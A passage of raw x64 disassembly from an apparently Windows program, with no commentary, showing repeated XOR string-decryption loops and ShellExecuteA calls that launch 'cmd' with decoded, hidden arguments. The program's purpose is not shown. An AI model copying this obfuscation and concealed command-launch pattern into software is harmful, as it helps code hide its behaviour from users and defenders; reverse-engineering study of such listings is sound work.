movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r15 - 4]
xorps xmm3, xmm0
movd dword [r15 - 4], xmm3
movd xmm1, r11d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r15]
xorps xmm1, xmm0
movd dword [r15], xmm1
lea eax, [r11 + 7]
lea ecx, [r11 + 6]
lea edx, [r11 + 5]
lea r8d, [r11 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r15 + 4]
xorps xmm3, xmm0
movd dword [r15 + 4], xmm3
add r10d, 0x10
add r11d, 0x10
lea r15, [r15 + 0x10]
cmp r11d, 0x68
jb 0x140072ee0
cmp r10d, 0x66
jae 0x140073023
mov eax, r10d
lea rcx, [rbp + 0x350]
add rcx, rax
nop word [rax + rax]
lea eax, [r10 + 0x73]
xor byte [rcx], al
inc r10d
lea rcx, [rcx + 1]
cmp r10d, 0x66
jb 0x140073010
mov byte [rbp + 0x3b6], 0
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x350]
mov edx, 0x104
lea rcx, [rbp + 0x570]
call fcn.14004ac80
mov dword [rsp + 0x70], 0x646d63
mov dword [rbp + 0xf0], 0x1810041c
movd xmm1, dword [rbp + 0xf0]
movd xmm0, dword [rbp]
xorps xmm1, xmm0
movd dword [rbp + 0xf0], xmm1
mov byte [rbp + 0xf4], 0
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x570]
lea r8, [rsp + 0x70]
lea rdx, [rbp + 0xf0]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rbp + 0x100], 0x7774656e
mov dword [rbp + 0x104], 0x6b726f
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
mov qword [rbp + 0xb8], rbx
mov qword [rbp + 0xc0], rbx
lea rax, [rbp + 0x100]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400730d2
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0xa8]
call fcn.14007e720
movdqu xmmword [rbp + 0x50], xmm8
mov r12d, dword [rbp - 0x80]
movd xmm1, r12d
movd eax, xmm8
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x50], xmm1
movd xmm1, dword [rbp - 0x30]
movd xmm0, dword [rbp + 0x54]
xorps xmm1, xmm0
movd dword [rbp + 0x54], xmm1
movd xmm2, dword [rbp - 0x50]
movd xmm0, dword [rbp + 0x58]
xorps xmm2, xmm0
movd dword [rbp + 0x58], xmm2
movd xmm1, dword [rbp - 0x40]
movd xmm0, dword [rbp + 0x5c]
xorps xmm1, xmm0
movd dword [rbp + 0x5c], xmm1
mov byte [rbp + 0x60], 0
lea r8, [0x1400d9e78]
cmp qword [0x1400d9e90], 0xf
cmova r8, qword [0x1400d9e78]
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x30], rax
lea rax, [0x1400c332e]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x50]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x1f0]
call fcn.140060070
nop
cmp qword [rbp + 0x200], 0x20
je 0x1400731f1
mov rdx, qword [rbp + 0x208]
cmp rdx, 0xf
jbe 0x1400731d9
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400731d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400742cc
call fcn.140080604
add r14, 0x40
lea rax, [r14 - 0x20]
cmp rax, qword [rsp + 0x50]
jne 0x140072e62
jmp 0x14007365e
mov dword [rsp + 0x40], 1
lea rax, [rbp]
mov qword [rbp + 0x130], rax
movdqa xmm0, xmmword [0x1400c6750]
movdqu xmmword [rbp + 0x350], xmm0
movdqa xmm1, xmmword [0x1400c62c0]
movdqu xmmword [rbp + 0x360], xmm1
movdqa xmm0, xmmword [0x1400c5f40]
movdqu xmmword [rbp + 0x370], xmm0
mov dword [rbp + 0x380], 0x87cbcdc2
mov byte [rbp + 0x384], 0xa7
mov r9d, ebx
mov r10d, r13d
lea r11, [rbp + 0x358]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, 0x10
add r10d, 0x10
lea r11, [r11 + 0x10]
cmp r10d, 0x38
jb 0x140073252
cmp r9d, 0x34
jae 0x140073393
mov eax, r9d
lea rcx, [rbp + 0x350]
add rcx, rax
nop word [rax + rax]
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x34
jb 0x140073380
mov byte [rbp + 0x384], 0
movdqa xmm0, xmmword [0x1400c5060]
movdqu xmmword [rbp + 0x20], xmm0
movdqa xmm1, xmmword [0x1400c51b0]
movdqu xmmword [rbp + 0x30], xmm1
mov dword [rbp + 0x40], 0x72180775
mov dword [rbp + 0x44], 0x9ab8042a
mov r9d, ebx
mov r10d, r13d
lea r11, [rbp + 0x28]
nop dword [rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, 0x10
add r10d, 0x10
lea r11, [r11 + 0x10]
cmp r10d, 0x28
jb 0x1400733d0
cmp r9d, 0x27
jae 0x140073505
mov eax, r9d
lea rcx, [rbp + 0x20]
add rcx, rax
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x27
jb 0x1400734f2
mov byte [rbp + 0x47], 0
mov eax, ebx
cmp dword [0x1400d6e48], 1
sete al
mov dword [0x1400d6d70], eax
lea rdx, [rbp + 0x20]
lea rax, [rbp + 0x350]
cmovne rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rbx
mov qword [rbp + 0x18], rbx
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140073540
lea rcx, [rbp]
call fcn.14007e720
nop
mov dword [rbp + 0xf0], 0x5051d27
movd xmm1, r12d
movd xmm0, dword [rbp + 0xf0]
xorps xmm1, xmm0
movd dword [rbp + 0xf0], xmm1
mov byte [rbp + 0xf4], 0
mov dword [rbp - 0x80], 0xe7908fe6
mov word [rbp - 0x7c], 0xbaa4
mov byte [rbp - 0x7a], 0
mov eax, ebx
cmp dword [0x1400d6e48], 1
sete al
mov dword [0x1400d6d70], eax
lea rdx, [rbp - 0x80]
lea rax, [rbp + 0xf0]
cmovne rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
mov qword [rbp + 0xd8], rbx
mov qword [rbp + 0xe0], rbx
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400735d0
lea rcx, [rbp + 0xc8]
call fcn.14007e720
nop
lea rdx, [rbp]
lea rcx, [rbp + 0xc8]
call fcn.140064ab0
mov rcx, qword [rbp + 0x108]
mov rdx, qword [rbp + 0x110]
cmp rcx, rdx
je 0x14007361d
call fcn.14007de60
mov rcx, qword [rbp + 0x108]
mov qword [rbp + 0x110], rcx
mov rdx, qword [rbp + 0x208]
cmp rdx, 0xf
jbe 0x140073665
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073659
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400742cc
call fcn.140080604
mov rcx, qword [rbp + 0x108]
cmp dword [rsp + 0x40], 1
je 0x140073cb1
movdqu xmmword [rbp + 0x350], xmm14
movdqa xmm0, xmmword [0x1400c6320]
movdqu xmmword [rbp + 0x360], xmm0
movdqa xmm1, xmmword [0x1400c5fe0]
movdqu xmmword [rbp + 0x370], xmm1
movdqa xmm0, xmmword [0x1400c5c30]
movdqu xmmword [rbp + 0x380], xmm0
movdqa xmm1, xmmword [0x1400c64d0]
movdqu xmmword [rbp + 0x390], xmm1
movdqa xmm0, xmmword [0x1400c5ea0]
movdqu xmmword [rbp + 0x3a0], xmm0
movdqa xmm1, xmmword [0x1400c5f50]
movdqu xmmword [rbp + 0x3b0], xmm1
movdqa xmm0, xmmword [0x1400c5c10]
movdqu xmmword [rbp + 0x3c0], xmm0
movdqa xmm1, xmmword [0x1400c5260]
movdqu xmmword [rbp + 0x3d0], xmm1
movdqa xmm0, xmmword [0x1400c5880]
movdqu xmmword [rbp + 0x3e0], xmm0
mov dword [rbp + 0x3f0], 0x73666776
mov word [rbp + 0x3f4], 0x3a64
mov byte [rbp + 0x3f6], 0x19
mov r9d, ebx
mov r10d, r13d
lea r11, [rbp + 0x358]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, 0x10
add r10d, 0x10
lea r11, [r11 + 0x10]
cmp r10d, 0xa8
jb 0x140073730
cmp r9d, 0xa6
jae 0x140073876
mov eax, r9d
lea rcx, [rbp + 0x350]
add rcx, rax
nop dword [rax + rax]
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0xa6
jb 0x140073860
mov byte [rbp + 0x3f6], 0
lea r8, [rbp + 0x350]
mov edx, 0x104
lea rcx, [rbp + 0x570]
call fcn.14004ac80
mov dword [rsp + 0x70], 0x646d63
mov dword [rbp + 0xf0], 0x1810041c
movd xmm1, r12d
movd xmm0, dword [rbp + 0xf0]
xorps xmm1, xmm0
movd dword [rbp + 0xf0], xmm1
mov byte [rbp + 0xf4], 0
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x570]
lea r8, [rsp + 0x70]
lea rdx, [rbp + 0xf0]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rax, [rbp + 0x1f0]
mov qword [rbp + 0x130], rax
lea rdx, [rbp + 0x460]
call fcn.1400744f0
mov r10, rax
mov r9d, ebx
mov r11d, r13d
lea r14, [rax + 8]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r14 - 8]
xorps xmm1, xmm0
movd dword [r14 - 8], xmm1
lea eax, [r11 - 1]
lea ecx, [r11 - 2]
lea edx, [r11 - 3]
lea r8d, [r11 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r14 - 4]
xorps xmm3, xmm0
movd dword [r14 - 4], xmm3
movd xmm1, r11d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r14]
xorps xmm1, xmm0
movd dword [r14], xmm1
lea eax, [r11 + 7]
lea ecx, [r11 + 6]
lea edx, [r11 + 5]
lea r8d, [r11 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r14 + 4]
xorps xmm3, xmm0
movd dword [r14 + 4], xmm3
add r9d, 0x10
add r11d, 0x10
lea r14, [r14 + 0x10]
cmp r11d, 0xd8
jb 0x140073911
cmp r9d, 0xd3
jae 0x140073a56
mov ecx, r9d
add rcx, r10
nop word [rax + rax]
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0xd3
jb 0x140073a40
mov byte [r10 + 0xd3], 0
lea rdx, [rbp + 0x350]
call fcn.140074380
mov r15, rax
mov r9d, ebx
mov r11d, r13d
lea r14, [rax + 8]
nop word [rax + rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r14 - 8]
xorps xmm1, xmm0
movd dword [r14 - 8], xmm1
lea eax, [r11 - 1]
lea ecx, [r11 - 2]
lea edx, [r11 - 3]
lea r8d, [r11 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r14 - 4]
xorps xmm3, xmm0
movd dword [r14 - 4], xmm3
movd xmm1, r11d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r14]
xorps xmm1, xmm0
movd dword [r14], xmm1
lea eax, [r11 + 7]
lea ecx, [r11 + 6]
lea edx, [r11 + 5]
lea r8d, [r11 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r14 + 4]
xorps xmm3, xmm0
movd dword [r14 + 4], xmm3
add r9d, 0x10
add r11d, 0x10
lea r14, [r14 + 0x10]
cmp r11d, 0xa8
jb 0x140073a80
cmp r9d, 0xae
jae 0x140073bc6
mov ecx, r9d
add rcx, r15
nop dword [rax]
nop dword [rax + rax]
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0xae
jb 0x140073bb0
mov byte [r15 + 0xae], 0
mov eax, ebx
cmp dword [0x1400d6e48], 1
sete al
mov dword [0x1400d6d70], eax
cmove r10, r15
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
mov qword [rbp + 0x200], rbx
mov qword [rbp + 0x208], rbx
mov r8, rsi
nop
inc r8
cmp byte [r10 + r8], 0
jne 0x140073c00
mov rdx, r10
lea rcx, [rbp + 0x1f0]
call fcn.14007e720
nop
mov dword [rbp + 0xf0], 0x5051d27
movd xmm1, r12d
movd xmm0, dword [rbp + 0xf0]
xorps xmm1, xmm0
movd dword [rbp + 0xf0], xmm1
mov byte [rbp + 0xf4], 0
mov dword [rbp - 0x80], 0xe7908fe6
mov word [rbp - 0x7c], 0xbaa4
mov byte [rbp - 0x7a], 0
mov eax, ebx
cmp dword [0x1400d6e48], 1
sete al
mov dword [0x1400d6d70], eax
lea rdx, [rbp - 0x80]
lea rax, [rbp + 0xf0]
cmovne rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rbx
mov qword [rbp + 0x38], rbx
inc rsi
cmp byte [rdx + rsi], 0
jne 0x140073c84
mov r8, rsi
lea rcx, [rbp + 0x20]
call fcn.14007e720
nop
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x20]
call fcn.140064ab0
mov rcx, qword [rbp + 0x108]
mov rdx, qword [rbp + 0x168]
cmp rdx, 0xf
jbe 0x140073cf9
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073ced
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400742d2
call fcn.140080604
mov rcx, qword [rbp + 0x108]
test rcx, rcx
je 0x140073d5b
mov rdx, qword [rbp + 0x110]
call fcn.14007de60
mov rdx, qword [rbp + 0x118]
mov rcx, qword [rbp + 0x108]
sub rdx, rcx
and rdx, 0xffffffffffffffc0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073d44
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140074281
call fcn.140080604
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], rbx
mov rcx, qword [0x1400d8e10]
mov rdx, qword [rcx + 0x3fe0]
cmp byte [rcx + 0x42ab], 0
je 0x140073daf
cmp byte [rcx + 0x42aa], 0
jne 0x140073daf
test byte [rcx + 0x40b4], 4
jne 0x140074221
mov eax, dword [rcx + 0x4270]
mov r8d, dword [rcx + 0x40b0]
cmp eax, r8d
jne 0x140074221
test eax, eax
je 0x140074221
cmp r8d, dword [rdx + 8]
jmp 0x140073e8b
mov eax, dword [rcx + 0x40b8]
test al, 1
je 0x140074221
cmp qword [rcx + 0x3fe8], rdx
je 0x140073dce
test al, al
jns 0x140074221
mov eax, dword [rcx + 0x4034]
test eax, eax
je 0x140073dfd
cmp eax, dword [rcx + 0x40b0]
je 0x140073dfd
cmp byte [rcx + 0x4041], 0
jne 0x140073dfd
cmp eax, dword [rdx + 0x8c]
je 0x140073dfd
cmp eax, dword [rdx + 0x90]
jne 0x140074221
mov rax, qword [rcx + 0x4268]
test rax, rax
je 0x140073e41
mov rax, qword [rax + 0x3b0]
test rax, rax
je 0x140073e41
cmp byte [rax + 0xcc], 0
je 0x140073e41
cmp rax, qword [rdx + 0x3b0]
je 0x140073e41
mov r8d, dword [rax + 0xc]
bt r8d, 0x1b
jb 0x140074221
bt r8d, 0x1a
jb 0x140074221
mov rax, qword [rcx + 0x4228]
cmp qword [rdx + 0x30], rax
je 0x140073e72
mov rax, qword [rcx + 0x4000]
test rax, rax
je 0x140074221
mov rax, qword [rax + 0x3b0]
cmp qword [rdx + 0x3b0], rax
jne 0x140074221
test byte [rcx + 0x40b4], 4
jne 0x140074221
mov eax, dword [rdx + 0x8c]
cmp dword [rcx + 0x40b0], eax
jne 0x140073e9a
cmp byte [rdx + 0xcd], 0
jne 0x140074221
movdqa xmm0, xmmword [0x1400c64e0]
movdqu xmmword [rbp + 0x150], xmm0
movdqa xmm1, xmmword [0x1400c65f0]
movdqu xmmword [rbp + 0x160], xmm1
movdqa xmm0, xmmword [0x1400c6000]
movdqu xmmword [rbp + 0x170], xmm0
movdqa xmm1, xmmword [0x1400c5be0]
movdqu xmmword [rbp + 0x180], xmm1
movdqa xmm0, xmmword [0x1400c5de0]
movdqu xmmword [rbp + 0x190], xmm0
mov dword [rbp + 0x1a0], 0xc6b6a1b6
mov r9d, ebx
mov r10d, r13d
lea r11, [rbp + 0x158]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, 0x10
add r10d, 0x10
lea r11, [r11 + 0x10]
cmp r10d, 0x58
jb 0x140073f01
cmp r9d, 0x53
jae 0x140074043
mov eax, r9d
lea rcx, [rbp + 0x150]
add rcx, rax
nop word [rax + rax]
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x53
jb 0x140074030
mov byte [rbp + 0x1a3], 0
movdqa xmm0, xmmword [0x1400c52d0]
movdqu xmmword [rbp + 0x350], xmm0
movdqa xmm1, xmmword [0x1400c5a90]
movdqu xmmword [rbp + 0x360], xmm1
movdqa xmm0, xmmword [0x1400c5810]
movdqu xmmword [rbp + 0x370], xmm0
mov dword [rbp + 0x380], 0x1b421c03
mov dword [rbp + 0x384], 0x36124f36
mov dword [rbp + 0x388], 0x47033b42
mov word [rbp + 0x38c], 0x280d
mov byte [rbp + 0x38e], 0xb1
mov r9d, ebx
lea r10, [rbp + 0x358]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r10 - 8]
xorps xmm1, xmm0
movd dword [r10 - 8], xmm1
lea eax, [r13 - 1]
lea ecx, [r13 - 2]
lea edx, [r13 - 3]
lea r8d, [r13 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r10 - 4]
xorps xmm3, xmm0
movd dword [r10 - 4], xmm3
movd xmm1, r13d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
lea eax, [r13 + 7]
lea ecx, [r13 + 6]
lea edx, [r13 + 5]
lea r8d, [r13 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm3, xmm0
movd dword [r10 + 4], xmm3
add r9d, 0x10
add r13d, 0x10
lea r10, [r10 + 0x10]
cmp r13d, 0x38
jb 0x1400740b2
cmp r9d, 0x3e
jae 0x1400741f3
mov eax, r9d
lea rcx, [rbp + 0x350]
add rcx, rax
nop word [rax + rax]
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x3e
jb 0x1400741e0
mov byte [rbp + 0x38e], 0
cmp dword [0x1400d6e48], 1
sete bl
mov dword [0x1400d6d70], ebx
lea rcx, [rbp + 0x350]
lea rdx, [rbp + 0x150]
cmovne rcx, rdx
call fcn.140014910
mov rcx, qword [rbp + 0x680]
xor rcx, rsp
call fcn.14007ff50
lea r11, [rsp + 0x820]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140095fac
int3
call fcn.140095fac
nop
lea r8, [rbp - 0x70]
lea rdx, [rbp + 0xf0]
call fcn.14004c9f0
nop
lea r8, [rbp - 0x70]
